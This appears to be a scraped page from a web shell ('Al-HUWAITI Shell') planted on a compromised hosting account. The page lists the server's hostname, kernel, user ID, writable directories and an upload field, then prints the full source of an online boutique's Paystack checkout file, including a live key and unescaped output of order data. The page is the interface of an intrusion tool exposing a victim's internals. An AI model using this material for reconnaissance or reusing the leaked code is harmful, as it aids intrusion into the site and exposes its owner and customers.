Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/marisgoldunisexboutique.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/marisgoldunisexboutique.com/public_html/order_payment.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
 include("headerstrict.php"); ?>
<?php 
if (isset($_GET['order_id'])){
	$order_id = mysqli_real_escape_string($con,$_GET['order_id']);
	$stmt = $con -> prepare('SELECT * FROM my_orders WHERE order_id=?');
	$stmt -> bind_param('s',$order_id);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($id,$user_id_db,$order_id,$total,$nice_date,$horrible_date,$status,$email_succesful,$email_delivered,$ship,$payment_method); 
	$numrows = $stmt -> num_rows();
	
	//status coloring
	if($numrows > 0){
		while ($stmt -> fetch()) { 
		if($status=="Pending"){$status_color="red";}
		if($status=="Completed"){$status_color="forestgreen";}
		}
	}
	else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}
	
	//only owner can view
	if($user_id == $user_id_db){
	}
	else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}
	
	//convert to kobo for paystack
	$gt = $total + $shipping_fee;
	function to_kobo($value)
		{
			return intval(
				strval(floatval(
					preg_replace("/[^0-9.]/", "", $value)
				) * 100)
			);
		}
		
	$amount_in_kobo = to_kobo("$gt");
}
else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}
?>
<title><?php echo $company_name; ?> - Order no <?php echo $order_id; ?></title>

<main>
<div class="hero-area section-bg2">
<div class="container">
<div class="row">
<div class="col-xl-12">
<div class="slider-area">
<div class="slider-height2 slider-bg4 d-flex align-items-center justify-content-center">
<div class="hero-caption hero-caption2">
<h2>Order NO:<?php echo $order_id; ?></h2>
<nav aria-label="breadcrumb">
<ol class="breadcrumb justify-content-center">
<li class="breadcrumb-item"><a href="index.php">Home</a></li>
<li class="breadcrumb-item"><a href="#">Order</a></li>
</ol>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php
if (isset($_POST['save_changes'])){
	$phone = mysqli_real_escape_string($con,$_POST['phone']);
	$address = mysqli_real_escape_string($con,$_POST['address']);
	
	$stmt = $con -> prepare('UPDATE users SET phone = ?,address = ? WHERE user_id = ?');
	$stmt -> bind_param('sss', $phone,$address,$user_id);
	$stmt -> execute();
			
	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Update was successfully done.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
}
?>

<div class="checkout">
	<div class="container">
		<div class="row">
			<div class="col-lg-6">
<div class="billing"><br/><br/>
<div class="checkout_title">Order Details</div><br/>
<?php 
	$stmt1 = $con -> prepare('SELECT * FROM cart_details WHERE order_id=?');
	$stmt1 -> bind_param('s',$order_id);
	$stmt1 -> execute(); 
	$stmt1 -> store_result(); 
	$stmt1 -> bind_result($id,$order_id,$product_id,$product_title,$product_price,$product_image,$qty); 
	$numrows1 = $stmt1 -> num_rows();
	if($numrows1 > 0){
		while ($stmt1 -> fetch()) { 
		echo"
		<a href='product_details.php?u=$product_id'>
		<img src='admin$admin_no/assets/img/products/$product_image' alt='' style='width:100px;height:100px;border-radius:5px;'><br/>
		<b>$product_title</b></a><br/>$currency";
		echo number_format($product_price);
		echo
		"
		<br/>Qty - $qty<hr/>";
		$total = $qty * $product_price;
		$total_array[] = $total;
		}
		echo"Status <span class='number_box' style='color:$status_color;'>$status</span><br/>";
		$grand_total = array_sum($total_array);
		$gt = $grand_total + $shipping_fee;
		echo"
		<div class='lineo'></div>
		Subtotal<span class='number_box_order'>$currency";echo number_format($grand_total);echo"</span><br/>
		Shipping Fee<span class='number_box_order'>$currency";echo number_format($shipping_fee);echo"</span><div class='lineo'></div>
		Total <span class='number_box_order the_color'>$currency";echo number_format($gt);echo"
		</span><br/><br/>";
	}
	else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}
?>

</div>
</div>

<div class="col-lg-6">
<div class="billing"><br/><br/>
<div class="checkout_title">Pay Online</div><br/>
	<form method="POST" action="" class="php-email-form1">
		<script src="https://js.paystack.co/v1/inline.js"></script>
		<div style="text-align: center;">						
			<img src="assets/img/paystack.png" style='height:117px;width:400px;'/>
		</div>
		<br/><br/>
		<div class="text-center">
			<button type="button" class="button button-contactForm boxed-btn" onclick="payWithPaystack()"> Pay &#8358;<?php echo number_format($gt); ?> Securely
			</button> 
		</div>
	</form>

			<script>
			  function payWithPaystack(){
				var handler = PaystackPop.setup({
				  key: 'pk_live_d32b303c251e141df88839b8847d390274fbe3dd',
				  email: '<?php echo $email; ?>',
				  amount: <?php echo $amount_in_kobo; ?>,
				  
				   callback: function(response){
					  //alert('success. transaction ref is ' + response.reference);
window.location = "payment_result.php?<?php echo "order_id=$order_id&"; ?>reference=" + response.reference;
				  },
				  
				  onClose: function(){
					  //alert('window closed');
				  }
				});
				handler.openIframe();
			  }
			</script>
</div>
</div>
</div>
		

	</div>
</div>
</main>
<?php include("footer.php"); ?>

Al-HUWAITI Shell